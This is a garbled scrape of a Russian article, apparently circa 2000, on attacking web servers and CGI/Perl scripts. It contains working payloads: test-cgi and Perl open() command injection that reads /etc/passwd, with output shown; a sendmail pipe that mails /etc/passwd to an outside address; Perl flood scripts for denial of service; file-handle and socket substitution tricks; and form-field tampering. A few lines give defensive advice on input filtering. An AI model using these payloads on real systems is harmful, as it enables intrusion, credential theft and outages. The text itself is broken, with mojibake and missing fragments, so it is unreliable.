ALTE DOCUMENTE
|
|||||||
WEB
В с&# 11211g67l 1086;ответствии с этим, все атаки можно разделить на две группы - связанные с ошибками администрирования (например, разрешение методов PUT DELETE HTTP
WEB graffiti Internet
HTTP UNIX
HTTP
NTTP InterNetNews eval WEB
HTTP , которых может и вовсе не существовать на диске. Точнее говоря, соответствие между видимой и действительной файловой структурой далеко не однозначное и зависит от настойки WEB
, но практически программисты, в стремлении облегчить себе жизнь, используют менее затейливые алгоритмы, так или иначе сводящиеся к ретрансляции имен и их последующей обработке операционной системой.
HTTP GET C:\wwwroot\». Программно это реализуется тривиальным слиянием двух строк. Такой механизм работает нормально, до тех пор, пока атакующей не догадается воспользоваться командой перехода на один уровень вверх, послав вполне корректный с точки зрения операционной системы запрос "GET Microsoft Personal Web Server
Apache
В с&# 11211g67l 1086;временных версиях это исправлено, но далеко не все администраторы обновили свои сервера, поэтому угроза атаки «отказа в обслуживании» все еще остается актуальной.
Apache GET cgi bin script var value Acommand Shell
GET /cgi-bin/test-cgi?kpnc=hacker%0a/bin/cat%20/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
games:x:5:100:games:/usr/games:/bin/sh
man:x:6:100:man:/var/catman:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/spool/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
majordom:x:30:31:Majordomo:/usr/lib/majordomo:/bin/sh
postgres:x:31:32:postgres:/var/postgres:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
msql:x:36:36:Mini SQL Database
» Microsoft Q168501, с : «Microsoft Active Server Pages (ASP) download instead of executing, even after you install the ASP fix for IIS HTTP».
Windows NT , всегда ссылались на полный путь к папке. Например, физическому каталогу «С:\InetPub\wwwroot\cgi-scripts» мог быть присвоен псевдоним "/cgi-scripts". Виртуальные атрибуты запрещали чтение любых содержащихся в нем файлов. И это работало, пока кому-то не пришла в голову мысль, воспользоваться коротким имением «/cgi-sc~1/». Операционная система правильно обрабатывала запрос, но виртуального каталога с таким именем не существовало! Поэтому «it would reference the file through the physical directory structure. Therefore, it would load the ASP file with the roots access of Read».
ASP связана еще одна малоизвестная ошибка, приводящая к возможности просмотра исходного кода вместо его исполнения. В большинстве случаев разработчики используют включаемые («.inc») файлы для удобства программирования. Что бы постоянно не указывать полный путь, его часто добавляют в глобальную переменную PATH
INCLUDE-директории становится доступно всем посетителям сайта, достаточно лишь передать серверу следующий запрос "GET SomeScript inc
Любопытная ситуация связана с «AnalogX SimpleServer 1.03». Если путь к ресурсу, запрашиваемому методом GET, окажется равен именно семнадцати символам возникнет аварийная ситуация из-за ошибки в модуле «emu-str.c»
Например: "GET /cgi-bin/goodkpnc HTTP/1.0" в окне telnet https://www.SimpleServer103.com/cgi-bin/goodkpnc
Microsoft Internet Information Server POST PUT Content Length
#!/usr/local/bin/perl -w
use Socket;
print "Content-type: text/html\n\n";
print "<BODY> <H1><CENTER>";
print "IIS 4.0 Memory Leack</H1></CENTER><HR><BR>\n";
$count=1;
$size=10240;
$N=100;
while ($count<$N)
Скорее комичная, чем опасная ошибка была обнаружена в. принтере «HP LaserJet 4500 + HP JetDirect J3111A», имеющим встроенный Web GET
HTTP
Sioux[8] .
#!/usr/local/bin/perl -w
use Socket;
print "Content-type: text/html\n\n";
print "<BODY> <H1><CENTER>Sioux Attack</H1></CENTER><HR><BR>\n";
$size=16384;
$N=20000;
socket(SRV, PF_INET(), SOCK_STREAM(), getprotobyname("tcp"));
connect(SRV, sockaddr_in(80,inet_aton('www.sacrificial.com')));
send(SRV, "GET / HTTP/1.0\n",0);
$devastating=('x'x$size);
$count=1;
while ($count<$N)
N size N size
On line
«Там и правда неважно обстояло с защитой» заметил Вильям Делай на пресс-конференции в Чикаго, кивая в сторону «Yahoo», первую жертву хакерской атаки, случившийся днем раньше. Следом были атакованы https://Amazon.com https://Buy.com https://CNN.com
https://www.fbi.gov/nipc/trinoo.htm.
Заглянув туда трудно было удержаться от разочарования. Похоже, что ФБР не заботило ничего, кроме собственной безопасности, на что указывал падч, предназначенный для операционных систем Solaris 2.5.1, 2.6, Solaris 7 (Sparc, Intel), то есть тех, на которых ФБР, собственно, и работает.
LINIX Intel Windows
Windows This file will not work on a Windows based PC
Билл Клинтон предпочел более действенные меры, пообещав 2 биллиона долларов (https://news.cnet.com/news/0-1005-200-1516764.html), на войну с тем гнусным типом хакеров, чьи атаки подрывают сетевую экономику (которая составляет не много не мало, а что-то порядка 25%, по крайней мере, в США).
Правда деньги будут выделены едва ли к концу этого года, а то и к середине следующего (то есть 2001). Зато уже находятся желающие оторвать себе кусок от этого пирога. Часть денег уйдет в Лабораторию Информационных Технологий (https://www.itl.nist.gov/) и, конечно же, Национальный Институт Стандартов (https://www.nist.gov/).
относятся к безопасности - это уже, как говорится, «вопрос пятый». Вопрос о том, кто больше виноват хакеры, дырявые системы, или все же не в последнюю очередь неправильная политика безопасности атакуемый фирм, так и не встал.
CNN (https://news.cnet.com/news/0-1005-200-1546306.html?tag=st.ne.1002
Apache, добавив новую директиву «LimitRequestFields» , ограничивающую максимальное количество полей в заголовке запроса. К сожалению, остальные производители проявили гораздо меньшую оперативность и до сих пор некоторые серверы могут быть блокированы таким способом .
WEB UNIX SendMail SendMail SendMail: «Любой адрес, проходящий через начальный алгоритм синтаксического разбора локальных адресов (то есть не являющийся действительным адресом для другой почтовой программы) сканируется на два специальных случая. Если он предварен вертикальной чертой ("|"), то оставшаяся часть адреса будет обработана как команда оболочки (shell command). Если имя пользователя начинается со знака косой черты ("/"), то это имя используется как имя файла, вместо имени пользователя. Файлы, имеющие выставленные биты смены владельца (setuid) или смены группы (setgid) но не имеющие битов выполнения имеют эти биты, если sendmail запущен от пользователя root.»
WEB Hack2000@mail.ru; mail Hack2000@mail.ru </etc/passwd
, то есть подсознательное стремление откинуть все варианты, не вписывающие в жизненный опыт, на этот раз оказала «медвежью услугу».
, названный им, методом направленной интуиции, заключающийся в систематическом переборе всех возможностей, включая и те, которые противоречат нашему жизненному опыту, и никогда не встречались ранее.
SendMail использовать скрипит, а из того, как его использовать. Существует люди, отличаются от всех остальных ослабленной инерцией мышления. Это особый склад сознания, не принимающий ничего на веру и не подверженный догматизму. За кажущимся число количественным различием скрывается принципиальная разница. Если одна категория людей стремиться найти объяснение, некому наблюдаемому явлению, то другую привлекает обратный процесс. То есть, мышление первой категории можно уподобить схеме жизненный опыт(явление)
объяснение часто воспринимается истинным и в дальнейшем становиться настолько привычным, что и в голову не приходит перепроверить или рассмотреть его под другими углом зрения.
Так, например, давным-давно был написан простейший командный файл "test-cgi", позволяющий с помощью "echo SRC/test-cgi
#!/bin/sh
echo Content-type: text/plain
echo
echo SERVER_SOFTWARE = $SERVER_SOFTWARE
echo SERVER_NAME = $SERVER_NAME
echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE
echo SERVER_PROTOCOL = $SERVER_PROTOCOL
echo SERVER_PORT = $SERVER_PORT
echo REQUEST_METHOD = $REQUEST_METHOD
echo HTTP_ACCEPT = $HTTP_ACCEPT
echo PATH_INFO = $PATH_INFO
echo PATH_TRANSLATED = $PATH_TRANSLATED
echo SCRIPT_NAME = $SCRIPT_NAME
echo QUERY_STRING = $QUERY_STRING
echo REMOTE_HOST = $REMOTE_HOST
echo REMOTE_ADDR = $REMOTE_ADDR
echo REMOTE_USER = $REMOTE_USER
echo CONTENT_TYPE = $CONTENT_TYPE
echo CONTENT_LENGTH = $CONTENT_LENGTH
WEB-серверам и широко распространился по сети. Администраторы без малейших опасений помещали его в исполняемую директорию и открывали доступ всем желающим. В конечном счете, это привело к внезапному росту успешных взломов. Механизм атаки заключался в «подсовывании» символа-джокера внешне безобидному скрипту "test-cgi". Команда "echo
GET /cgi-bin/test-cgi?*". На первый взгляд, в этом ничего опасного в это нет, но на самом деле, просмотр содержимого каталогов, открывает возможность для целенаправленной атаки. В с&# 11211g67l 1086;четании с возможностью использования перенаправления ввода в почтовых адресах, передаваемых приложению SendMail
https://www.project.aha.ru https://www.project.aha.ru/cgi/test-cgi?/usr/* (жирным шрифтом выделено содержимое поля QUERY STRING
GET /cgi-bin/test-cgi?/*
CGI/1.0 test script report:
argc is 1. argv is /\*.
SERVER_SOFTWARE = Apache/1.3.0 (Unix) Debian/GNU
SERVER_NAME = home.project.aha.ru
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.1
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, */*
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/nph-test-cgi
QUERY_STRING = /6 /8 /bin /boot /bzImage-2.0.35 /bzImage-2.2.11 /bzImage-2.2.11-2 /bzImage-2.2.12 /cdrom /dev /etc /floppy /home /initrd /lib /lost+found /mnt /oak /proc /root /sbin /tmp /usr /var
REMOTE_HOST = ppp-09.krintel.ru
REMOTE_ADDR = 195.161.41.233
REMOTE_USER =
CONTENT_TYPE =
CONTENT_LENGTH =
QUERY STRING QUERY STRING Apache HTTP etc SERVER PROTOCOL HTTP etc
GET /cgi-bin/nph-test-cgi?* /usr/*
HTTP/1.0 200 OK
Content-type: text/plain
Server: Apache/1.3.0 (Unix) Debian/GNU
CGI/1.0 test script report:
argc is 1. argv is \*.
SERVER_SOFTWARE = Apache/1.3.0 (Unix) Debian/GNU
SERVER_NAME = biophys.urcrm.chel.su
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = /usr/7 /usr/X11R6 /usr/bin /usr/dict /usr/doc /usr/games /usr/include /usr/info /usr/lib /usr/local /usr/lost+found /usr/man /usr/sbin /usr/share /usr/src
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSL
ATED = SCRIPT_NAME = /cgi-bin/nph-test-cgi
QUERY_STRING = 1.pgsql 2.pgsql 2.pgsql~DEADJOE archie calendar capture date dwww-fig finger fortune htsearch imagemap
info2www-fig log logging.cgi~ log~ mailto.pl nph-test-cgi php3 test-cgi test-env
uptime wais.pl www-pgsql wwwcount.cgi
REMOTE_HOST = ppp-18.krintel.ru
REMOTE_ADDR = 195.161.41.242
REMOTE_USER =
CONTENT_TYPE =
CONTENT_LENGTH =
REMOTE USER CONTENT TYPE USER AGENT
FrontPage FPE
FrontPage vti pvt administrator pwd vti pvt authors pwd vti pvt service pwd
FPE Apache vti bin
SendMail
- до передачи данных внешней программе проанализировать их содержимое, проверяя корректность ввода пользователя. Фильтрацию желательно осуществлять во всех случаях, и контролировать все данные, даже никак не связанные с пользователем. данные должны быть тщательно проверены до того, как они будут использованы. Очень распространенная ошибка - вызов служебной подпрограммы, оформленной в виде отдельного скрипта с передачей аргументов в командной строке. Многие разработчики склонны полагать, что такой скрипт всегда вызывается только их кодом, и забывают о проверке параметров.
на сервере, от имени уязвимой программы. Причина заключается в том, что функция "open Perl команду. Например, "open(H,"File |") , а не открытию файла "File
/SRC/open.pl
open(FX,"$file");
while (<FX>)
file HTML http hpnc webprovider com open htm
<html>
<head>
<title>OPEN's Demo</title>
</head>
<body>
<H1><CENTER>OPEN's Demo</h1></center>
<HR>
<div align="center">
<form method="POST" action="open.pl">
<br>Enter file name or "command |"<br><br>
<input type="text" size="60" maxlength="200" name="file" value="echo Hello,Sailor! |">
<input type="submit" value="Exec">
</form>
</div>
<HR>
</body>
</html>
echo Hello,Sailor! | Hello, Sailor echo
ls * |
apache
bin
boot
cdrom
dev
disk1
etc
floppy
home
httpd
usr
/bin ls /bin/* |
ae arch bash buildh cat
chgrp chmod chown chsh cp
cpio cptar cptar~ csh date
dbish dd df dir dmesg
echo ed egrep false fdflush
fgrep fuser grep gsu gunzip
gzip hostname htp2ftp.pl htp2ftp.pl~ httpd
i8sql kill ksh ln loadkeys
login ls mkdir mknod mktemp
more mount mt mv netstat
pico ping ps pwd rbash
rm rmdir rsh run-parts sed
setserial sh sleep stty su
sync tar tcsh tempfile texhash
true umount uname uncompress vdir
vi vworld xem xem~ zcat
more /etc/passwd
GET open.pl?more%20/etc/passwd%20|
:::::::::::::: /etc/passwd ::::::::::::::
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
games:x:5:100:games:/usr/games:/bin/sh
man:x:6:100:man:/var/catman:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/spool/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
Excite
Другая распространенная ошибка связана с оператором чтения из файла "<>" языка Perl (в листинге он выделен жирным шрифтом).
open(F,"$file");
while (<F>)
Perl /SRC/dir.pl
while (<*.pl>)
bomb.pl
dir.pl
hack.pl
hello.pl
iis4_ml.pl
nntp.pl
nntp_post.pl
open.pl
post.pl
serv.pl
serv1.pl
sioux.pl
smtp.pl
smtp1.pl
Perl DATA DATA
DATA
/SRC/data.pl DATA
while (<DATA>)
__DATA__
file : "mit";
dir : "../cfg/gbook";
user : "Jafar";
pass : "qwerty";
file : "mit";
dir : "../cfg/gbook";
user : "Jafar";
pass : "qwerty";
DATA
Perl
. Файлу должны быть установлены следующие права "r w x - - x - - x
$file=">>$0";
open(H,"$file");
print H "\nprint 'Hello,Sailor!';";
close(H);
$file=">>$0";
open(H,"$file");
print H "\nprint 'Hello,Sailor!';";
close(H);
print 'Hello,Sailor!';
HTML
open", интерпретирует первые символы имени файла, как режим доступа, появляется возможность открыть файл на запись! Для этого достаточно указать угловую скобку ">" перед именем файла.
open(F,"$file");
while (<F>)
На самом же деле, конструкция типа ">filename filename open F,"<$file open F, ">$file filename" присвоить значение "> file open F, ">> file , что в корне меняет дело. В некоторых случаях такой трюк позволяет обойти лимиты на ограничение объема и забить мусором все доступное дисковое пространство или закачать на сервер файл свыше допустимого размера.
. Будучи переданным в качестве имени файла, он трактуется как "STDIN STDOUT
При использовании стандартных скриптов рекомендуется изменять имена всех файлов, особенно содержащих секретную информацию. В с&# 11211g67l 1086;вокупности с правильной фильтрацией ввода, отсекающей все попытки просмотра содержимого директории, это в значительной степени снижает вероятность успешной атаки.
/SRC/cpyfh.pl
open(AH,"<passwd");
$file=$ARGV[0];
if ($file =~ /passwd/)
open(BH,"<$file");
while (<BH>)
(не разработчиком!) некой программы имя секретного файла (например, "passwd") изменено до неузнаваемости, то вне зависимости от распространенности скрипта, злоумышленник, прежде чем сможет получить доступ к секретному файлу будет вынужден узнать его имя. Если нет возможности просмотреть исходный текст модифицированного скрипта, то для успешной атаки злоумышленнику потребуется не только получить доступ к хранящимся на сервере файлам, но и последовательно перебрать всех их один за другим, пока не встретится искомый.
GET /cgi-bin/cpyfh.pl?passwd
Goodby, Hacker!
Однако если вместо имени файла ввести конструкцию "&AH
GET /cgi-bin/cpyfh.pl?&AH
Vasia:qwerty
Petja:admin
Super:toyta
Dimon:daemon
open F x&F F F file" присвоить значение "&AH open (BH, "<$file") AH BH while <BH> while <AH>
alias x&='. При этом оригинальный файловый манипулятор на момент создания псевдонима может и не существовать.
$file=$ARGV[0];
if ($file =~ /passwd/)
open(BH,"<$file");
open(AH,"<passwd");
while (<BH>)
с точки зрения подсистемы ввода-вывода - обычные файлы, корректно работающие с операторами 'print' и '<>', возможна подмена файлового манипулятора открытым сокетом и, соответственно, наоборот.
, у злоумышленника появляется возможность взаимодействия с этим сервером!
/SRC/exchsc.pl
socket(POP3, PF_INET(), SOCK_STREAM(), getprotobyname("tcp"));
connect(POP3, sockaddr_in(110,inet_aton('zmail.ru')))
$file=$ARGV[0];
$x=<$file>;
print $x;
close(POP3);
GET /cgi-bin/exchsc.pl?POP3
+OK CommuniGate Pro POP3 Server 3.2.4 ready <1731731.956833213@backend1.aha.ru>
on line , не содержат грубых ошибок. Но в сети огромное количество мелких поставщиков различного рода услуг, зачастую снабженных программным обеспечением, созданным «на коленках» Дядей Васей! Ошибки, описанные выше, очень характерны для кустарных разработок.
Perl
PC Netscape URL hello pl https://NetscapeServer/cgi-bin/perl.exe?hello.pl
WEB PC Perl
Например, если набрать в командой строке "perl xxx|dir", где 'xxx xxx dir
Perl exec e h
/SRC/form.htm /SRC/form.pl Internet c
<HTML>
<HEAD>
<TITLE>VIRTUAL SHOP's
"
<
</HEAD>
<BODY>
<H1><CENTER>VIRTUAL SHOP's "<U>
<HR>
</H1>
<CENTER>
<form method="POST" action="form.pl">
<br>Name:
<BR>
<input type="text" size="30" maxlength="300" name="name" value="Vasia">
<BR>
<br>Credit card number:
<BR>
<input type="text" size="30" maxlength="30" name="card" value="OC271191">
<BR>
<BR>
<input type="submit" value="Welcome">
</form>
</div>
<HR>
</body>
</html>
#!/usr/local/bin/perl
print "Content-type: text/html\n\n";
print "<HEAD> <title>VIRTUAL SHOPs '
print "<BODY> <H1><CENTER>VIRTUAL SHOPs
'<U>
parseparameters();
$Name=$parameters;
$Card=$parameters;
$Passwd="None";
$file="users.dat";
open(F,"<$file") || die "File $file not exist!\n";
while($f=<F>)
$Passwd=$tmp;
if ($Passwd=~/None/)
print <<EOF;
Buyer:$Name
<BR>
Card:$Card
<TABLE width=% border=1>
<TR>
<TH>Product ID
<TH>Product Name
<TH>Purchase
<TR>
<TD>Y2ZA
<TD>Mice
<TD>1 dollar
<TR>
<TD>ZG6T
<TD>Mice Pad
<TD>5 dollar
<TR>
<TD>3 FZ9Y
<TD>CD-ROM RACK
<TD>7 dollar
</table>
<HR>
<CENTER>
<form method="POST" action="buy.pl">
Product ID:
<input type="text" size="30" maxlength="30" name="$Name"; value="Y2ZA">
<input type="submit" value="Buy">
</form>
EOF
sub parseparameters(;$) ;
my $buffer;
$buffer = $ENV if (/^[Gg][Ee][Tt]$/);
read(STDIN, $buffer, $ENV) if (/^[Pp][Oo][Ss][Tt]$/);
@_ = split(/&/, $buffer);
for (@_) = $value;
(например, "Kris Kaspersky oc ui Welcome
HTML
<TH>Product ID
<TH>Product Name
<TH>Purchase
<TR>
<TD>Y2ZA
<TD>Mice
<TD>1 dollar
<TR>
<TD>ZG6T
<TD>Mice Pad
<TD>5 dollar
<TR>
<TD>3 FZ9Y
<TD>CD-ROM RACK
<TD>7 dollar
</table>
<HR>
<CENTER>
<form method="POST" action="buy.pl">
Product ID:
<input type="text" size="30" maxlength="30"
name="Fox"; value="Y2ZA">
<input type="submit" value="Buy">
</form>
Buy buy pl buy pl
<form method="POST"
action="https://kpnc.softclub.net/cgi-bin/buy.pl">
Product ID:
<input type="text" size="30" maxlength="30"
name="John"; value="Y2ZA">
John
buy pl GET /cgi-bin/buy.pl?Jhon=Y2ZA Y ZA
|